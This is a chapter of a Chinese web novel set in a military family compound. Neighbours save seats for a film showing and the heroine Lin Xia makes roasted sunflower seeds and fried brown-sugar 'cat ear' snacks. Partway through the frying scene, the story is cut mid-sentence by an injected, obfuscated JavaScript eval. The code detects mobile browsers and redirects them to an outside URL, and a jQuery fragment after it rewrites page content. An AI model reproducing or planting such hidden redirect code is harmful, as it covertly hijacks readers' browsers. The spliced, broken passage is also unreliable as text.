30. 第三十章
作品:《在年代文错嫁给大佬后》 虽说三人打扫卫生回去的晚了几分钟,但在依靠口口相传的年代,王秀兰去占位置的时候,除了扫盲班的人员外,少部分是其他军属。
也有聪明的小孩儿,在看到大批人员回家搬着板凳占据他们平时撒欢场地的时候,就迅速奔回家里,连手上的泥胚和小木枪都顾不得拿。
王秀兰抢占了三个中间的好位置,和幕布有一定距离,又在中间,她把长条板凳摆好,守在旁边盯了一会儿,确认没有人敢动她们的板凳才离开。
无论哪里都有一些不讲素质的人出现,家属院还是好的。
王秀兰先前在家的时候,村子里要是放映电影的话,绝对不能离开板凳,要把一个孩子留在那里看着位置。
不然再回去,你的板凳可能就不知道放在了哪里,会被人暗戳戳移动位置,不抓个现形没人会承认。
来了家属院后这种争抢位置的情形好上不少,除去个别实在不讲素质的家属,没什么人会动位置,毕竟谁也不知道这个位置后边坐的是不是你的领导。
王秀兰回去的路上遇到赶来的吊眼三角老太太,不放心又跑回去看了看自己摆放的板凳,确认没有“恶人”动复又离开。
回去路上,王秀兰一路奔跑,她想起临走的时候,没有交待婆婆给林夏再送几盘向日葵。
家里孩子大人多,磕的瓜子也多,就林夏家里的两盘根本不够吃。
“你拿着向日葵去哪儿去?”田奶奶看见翻箱倒柜扒拉向日葵的王秀兰嫌弃地说道。
做事情急匆匆的,没有半分当妈后的稳重。
真是嫁进他家这么多年,靠近她这般优秀的婆婆,还是没有吸收半分沉稳的精华。
“我再给小夏拿些向日葵,她家里那些不是不够用嘛。”王秀兰扒拉出四五盘向日葵,都是家里一早就晒好的。
她去再把瓜子剥下来,这样林夏就直接等着下锅翻炒就行。
田奶奶嘴角微微上扬,眼神中闪烁着得意的光芒,语气轻快:“等你想起来人家小夏早就炒完瓜子了,我早就给她送过去了。”
这个家里还是得靠她这根定海神针。
早在王秀兰着急忙慌回来的时候,她就问好了。
得知小夏要炒瓜子,前脚王秀兰占位置,后脚她就拿上瓜子去了隔壁,还帮忙把瓜子都抠了出来。
田奶奶翻了个白眼,儿媳妇真是白瞎跟她这么多年了,等她啥都想到,黄花菜早就凉透了。
“妈,还是考虑得周全。”王秀兰嘿嘿一笑,“那我把这些送去,让小夏放着自己吃。”
原先送去的几盘向日葵,都被做成了炒瓜子,本来是要送给林夏自己吃的,没想到都拿了出来。
她家向日葵多,这些拿出来了就不会再放回去。
王秀兰都盘算好了,看在许钟灵准备汽水的份上,等会儿在林夏家里遇到的话,分她一盘向日葵好了。
*
另一边,林夏家里
田奶奶帮着全部抠完向日葵后就回去准备晚饭了,晚上要放映电影,早些吃饭早些去。
林夏筛选好瓜子后,热锅烧干水分,保持小火放入三勺盐。
家里大料配的不齐,想做五香瓜子时间久料不全,她就做干炒瓜子和咸瓜子,这两样更受小孩子喜欢,有味道的瓜子总是比没有味道的瓜子销量好。
林夏看着腕上的手表掐秒计时,盐在热锅待够三十秒后,她端起放瓜子的搪瓷盆,全部倒入平铺在锅底。
炒瓜子没什么秘方,味道不同就是放入的料不同。
瓜子好吃的关键不在于放什么配料,而在于翻炒的火候,需要练习手感。
林夏不断翻炒,锅铲就没放下来过,要让瓜子受热均匀。
一个偷懒或者动作慢了容易炒糊瓜子。
林夏大概翻炒了八分钟,瓜子黑色的外壳上流淌着金黄的亮色,关火又翻炒一分钟。
她拿来滤网把盐过滤掉,剩下的瓜子盛在大盘里冷却放凉。
干炒瓜子更是简单,顾名思义一直翻炒就行,不像咸瓜子又是盐又是滤网的。
林夏准备好瓜子,又冲泡红糖水,做个甜甜的猫耳朵来平衡一下味道。
瓜子吃多了咸,再配点甜的零食刚好。
林夏和了两个面团,一个白面团一个红糖面团。
白面团里边添加了白糖和盐。
家里的白砂糖是那种粗粝感很重的大颗粒,林夏用热水化开后用糖水和面。
两个面团放在盆里发酵松弛半小时,林夏腾出来锅开始做晚饭。
她和许钟灵说好了,家里就做玉米糊糊,许钟灵炒好了菜给她端过来一些。
王秀兰也说要给她端盘菜过来,不过在她知道王秀兰家里的炒菜锅和煮饭锅是同一个后,严词拒绝。
林夏实在无法接受两口锅混在一起,真要是没条件就算了。
油锅和饭锅混合一起,她吃啥都有股油味儿,吃菜会有股饭味儿。
王秀兰却好像接受了这样一锅两用的日子,甚至不去想修补另外一口锅。
林夏却是不能,她自己煮饭,炒菜锅用来炒瓜子和炸猫耳朵。
玉米糊糊煮好后,面团差不多松弛好,林夏把面团擀成薄薄两片。
两个面团尽可能地擀成相同的薄薄两片。
形状大致相同后,林夏拿起红糖薄片,盖在白面片上,而后又拿起擀面杖继续擀薄一点。
两片面完全贴合后,林夏从一边卷起来,双手的小拇指始终托在后边,让卷起来的面团更加紧实一点。
林夏把卷好的长面团搓的又长又细,宽度大小和猫耳朵差不多,刀竖着切下来,就是供销社橱窗里卖的猫耳朵形状。
时间紧迫,没有冰箱来冷冻,面团软软的一个,林夏用刀切的时候拿捏巧劲切成薄薄一片。
只是切完猫耳朵都费了林夏二十来分钟,实在是没有冷冻的面团过于软,力气用得大了会改变猫耳朵的形状。
切好铺放在案板上备用,她起锅烧油,油温大概五分热的时候把几片猫耳朵放进锅里。
等待稍微定型飘起来后,林夏拿起筷子翻动两下,炸成金灿灿的颜色就熟了。
林夏捞起来放在漏勺里,下边放了个搪瓷盆,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339047|181640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
专门来控油。
油不控出来的话吃起来味道很是油腻。
她拿起挂在脖子上的毛巾,擦擦汗继续重复步骤。
在炸到最后一盘的时候,坐在客厅的王秀兰才敢发出声音。
“小夏,我可以先尝一个吗?”王秀兰伸长脖子看向餐厅,味道实在是太香了。
她早就来了,不过林夏一直在忙,她也不敢出声打扰。
林夏做的那些东西用的都是精贵的油和糖,她有心帮忙,还不敢多看,多看两眼就怕自己心疼。
她帮忙的话会心疼的手抖,到时候糟蹋了东西,王秀兰自己能把自己心疼死。
“嫂子,你过来拿,吃多少都行。”林夏眼睛盯着锅里,扬声喊道。
最后一锅猫耳朵了,林夏不能让炸糊了,她头也没回,只让王秀兰过来。
待到猫耳朵全部出锅,王秀兰长舒一口气:“小夏,这也太破费了,也是真的好吃。”
“怪不得供销社里边卖的那么贵。”
供销社里边的猫耳朵四毛钱一斤,比面粉卖的都贵。
看完林夏的做法,王秀兰理解为什么猫耳朵卖的比面粉贵了。
里边不仅仅是面粉,还有红糖和白砂糖这样的精细玩意儿。
家里边也只有小宝一人吃过猫耳朵,还是过年去供销社的时候,小宝非吵着要吃,没法最后买了几分钱的。
如果这不是林夏做的说三家吃,王秀兰都不好意思提出来尝一口,那么贵的东西,真不是她几盘向日葵能比的。
“入口甜而不腻,小夏,你要是出去卖这个猫耳朵,绝对大赚。”王秀兰砸吧砸吧嘴回味着说道。
“嫂子,你想吃继续吃,这还多着呢,吃不完就要放坏了。”林夏推着一盆猫耳朵到王秀兰面前。
她对于吃的从不吝啬,别人大大方方给她分享,她亦是如此。
王秀兰还是很舍不得,摇了摇头:“还是算了,好东西还是留着给小宝和俺家那口子尝尝吧。”
林夏裁剪牛皮纸的手一顿,直言:“吃,吃大份的,留给男人孩子做什么,咱们平时那么辛苦,洗衣做饭照顾孩子的,好的东西也应该紧着自己的嘴巴。”
林夏直接用筷子夹起来一个猫耳朵塞到王秀兰嘴边。
她发现王秀兰身上最大的缺点就是舍不得吃穿,把东西都留给男人和孩子。
男人在外边打拼赚钱时很累很辛苦,扛起了顶梁柱的责任。
可是她们女人在家里洗洗涮涮照顾老人孩子也不轻松,也要试着心疼自己。
王秀兰讷讷张开嘴巴,咀嚼的动作有些机械。
还是第一次有人说她辛苦。
嘴巴里的香甜让王秀兰开始深刻反思。
为什么别人都说在家里不到外边赚钱轻轻松松是享福,林夏却说她在家里也辛苦了。
还说好东西也要紧着她的嘴巴。
可是从小到大,王秀兰见到的都是好吃好喝紧着家里的男人,她妈妈也是这样做,婆婆也是这样做的。
王秀兰冥思苦索,心里好像有什么东西在一点一点松动。